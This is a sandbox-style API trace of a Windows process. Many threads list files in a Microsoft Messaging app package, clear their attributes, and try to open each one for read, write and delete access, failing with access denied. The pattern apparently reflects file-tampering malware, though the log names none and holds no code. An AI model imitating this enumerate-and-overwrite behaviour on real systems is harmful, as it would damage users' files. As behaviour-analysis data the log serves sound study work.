	[0082.294] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.Base.winmd", dwFileAttributes=0x20) returned 0
	[0082.294] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.Base.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.apps.messaging.base.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.294] GetLastError () returned 0x5
	[0082.294] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.Base.winmd", dwFileAttributes=0x20) returned 0
	[0082.294] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47512e0) returned 1

Thread:
	id = 928
	os_tid = 0xbe8

	[0082.295] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.External.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.apps.messaging.external.winmd")) returned 0x20
	[0082.296] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.External.winmd", dwFileAttributes=0x20) returned 0
	[0082.296] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.External.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.apps.messaging.external.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.296] GetLastError () returned 0x5
	[0082.296] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.External.winmd", dwFileAttributes=0x20) returned 0
	[0082.296] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765e10) returned 1

Thread:
	id = 929
	os_tid = 0x1150

	[0082.297] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.Internal.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.apps.messaging.internal.winmd")) returned 0x20
	[0082.297] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.Internal.winmd", dwFileAttributes=0x20) returned 0
	[0082.297] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.Internal.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.apps.messaging.internal.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.297] GetLastError () returned 0x5
	[0082.297] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.Internal.winmd", dwFileAttributes=0x20) returned 0
	[0082.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765710) returned 1

Thread:
	id = 930
	os_tid = 0x1154

	[0082.298] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Graphics.Canvas.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.graphics.canvas.winmd")) returned 0x20
	[0082.299] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Graphics.Canvas.winmd", dwFileAttributes=0x20) returned 0
	[0082.299] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Graphics.Canvas.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.graphics.canvas.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.299] GetLastError () returned 0x5
	[0082.299] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Graphics.Canvas.winmd", dwFileAttributes=0x20) returned 0
	[0082.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ebac8) returned 1

Thread:
	id = 931
	os_tid = 0x123c

	[0082.300] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.AutoSuggest.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.people.autosuggest.winmd")) returned 0x20
	[0082.301] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.AutoSuggest.winmd", dwFileAttributes=0x20) returned 0
	[0082.301] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.AutoSuggest.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.people.autosuggest.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.301] GetLastError () returned 0x5
	[0082.301] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.AutoSuggest.winmd", dwFileAttributes=0x20) returned 0
	[0082.301] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eae98) returned 1

Thread:
	id = 932
	os_tid = 0x1214

	[0082.302] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.people.controls.winmd")) returned 0x20
	[0082.303] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd", dwFileAttributes=0x20) returned 0
	[0082.303] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.people.controls.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.303] GetLastError () returned 0x5
	[0082.303] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd", dwFileAttributes=0x20) returned 0
	[0082.303] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec428) returned 1

Thread:
	id = 933
	os_tid = 0x12d4

	[0082.304] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.Relevance.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.people.relevance.winmd")) returned 0x20
	[0082.305] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.Relevance.winmd", dwFileAttributes=0x20) returned 0
	[0082.305] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.Relevance.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.people.relevance.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.305] GetLastError () returned 0x5
	[0082.305] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.Relevance.winmd", dwFileAttributes=0x20) returned 0
	[0082.305] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ebd98) returned 1

Thread:
	id = 934
	os_tid = 0x126c

	[0082.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x4752640
	[0082.306] wcscpy (in: _Dest=0x4752640, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.306] wcscat (in: _Dest=0x4752640, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.306] wcscat (in: _Dest=0x4752640, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4713ce8
	[0082.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4713ce8 | out: lpFindFileData=0x4713ce8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbd8a0611, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xfbac0b62, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbac0b62, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6fd0
	[0082.307] wcscmp (_String1=".", _String2=".") returned 0
	[0082.307] FindNextFileW (in: hFindFile=0x46a6fd0, lpFindFileData=0x4713ce8 | out: lpFindFileData=0x4713ce8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbd8a0611, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xfbac0b62, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbac0b62, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.307] wcscmp (_String1="..", _String2=".") returned 1
	[0082.307] wcscmp (_String1="..", _String2="..") returned 0
	[0082.307] FindNextFileW (in: hFindFile=0x46a6fd0, lpFindFileData=0x4713ce8 | out: lpFindFileData=0x4713ce8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b45697, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd9b45697, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd9b45697, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xada0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.8883896e.pri", cAlternateFileName="RESOUR~1.PRI")) returned 1
	[0082.307] wcscmp (_String1="resources.8883896e.pri", _String2=".") returned 1
	[0082.307] wcscmp (_String1="resources.8883896e.pri", _String2="..") returned 1
	[0082.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x114) returned 0x47721a8
	[0082.307] wcscpy (in: _Dest=0x47721a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.307] wcscat (in: _Dest=0x47721a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.307] wcscat (in: _Dest=0x47721a8, _Source="resources.8883896e.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.8883896e.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.8883896e.pri"
	[0090.697] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.8883896e.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.8883896e.pri")) returned 0x2020
	[0090.697] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.8883896e.pri", dwFileAttributes=0x20) returned 0
	[0090.697] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.8883896e.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.8883896e.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.697] GetLastError () returned 0x5
	[0090.697] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.8883896e.pri", dwFileAttributes=0x2020) returned 0
	[0090.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47721a8) returned 1
	[0090.697] FindNextFileW (in: hFindFile=0x46a6fd0, lpFindFileData=0x4713ce8 | out: lpFindFileData=0x4713ce8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b45697, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd9b45697, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd9b45697, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xada0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri", cAlternateFileName="")) returned 1
	[0090.697] wcscmp (_String1="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri", _String2=".") returned 1
	[0090.697] wcscmp (_String1="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri", _String2="..") returned 1
	[0090.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x16e) returned 0x2d883a8
	[0090.697] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.698] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0090.698] wcscat (in: _Dest=0x2d883a8, _Source="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri"
	[0090.698] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\s-1-5-21-1051304884-625712362-2192934891-1000-mergedresources-2.pri")) returned 0x2020
	[0090.698] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri", dwFileAttributes=0x20) returned 0
	[0090.698] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\s-1-5-21-1051304884-625712362-2192934891-1000-mergedresources-2.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.698] GetLastError () returned 0x5
	[0090.698] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri", dwFileAttributes=0x2020) returned 0
	[0090.698] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.698] FindNextFileW (in: hFindFile=0x46a6fd0, lpFindFileData=0x4713ce8 | out: lpFindFileData=0x4713ce8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b45697, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd9b45697, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd9b45697, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xada0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri", cAlternateFileName="")) returned 0
	[0090.698] FindClose (in: hFindFile=0x46a6fd0 | out: hFindFile=0x46a6fd0) returned 1
	[0090.698] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4713ce8) returned 1
	[0090.698] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752640) returned 1
	[0090.698] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ebf78) returned 1

Thread:
	id = 935
	os_tid = 0x11d8

	[0082.308] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0082.308] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0082.308] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.308] GetLastError () returned 0x5
	[0082.308] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0082.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4770550) returned 1

Thread:
	id = 936
	os_tid = 0x13c0

	[0082.309] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\storeratingpromotion.winmd")) returned 0x20
	[0082.310] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd", dwFileAttributes=0x20) returned 0
	[0082.310] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\storeratingpromotion.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.310] GetLastError () returned 0x5
	[0082.310] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd", dwFileAttributes=0x20) returned 0
	[0082.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f370) returned 1

Thread:
	id = 937
	os_tid = 0x13bc

	[0082.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481b728
	[0082.311] wcscpy (in: _Dest=0x481b728, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0082.311] wcscat (in: _Dest=0x481b728, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0082.311] wcscat (in: _Dest=0x481b728, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\*"
	[0082.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4713f50
	[0082.311] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\*", lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957986f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb25901, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2993daf0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7010
	[0082.313] wcscmp (_String1=".", _String2=".") returned 0
	[0082.313] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957986f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb25901, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2993daf0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.313] wcscmp (_String1="..", _String2=".") returned 1
	[0082.313] wcscmp (_String1="..", _String2="..") returned 0
	[0082.313] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957986f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2957986f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2957986f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE.Messaging.config", cAlternateFileName="")) returned 1
	[0082.313] wcscmp (_String1="de-DE.Messaging.config", _String2=".") returned 1
	[0082.313] wcscmp (_String1="de-DE.Messaging.config", _String2="..") returned 1
	[0082.313] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x4773fd0
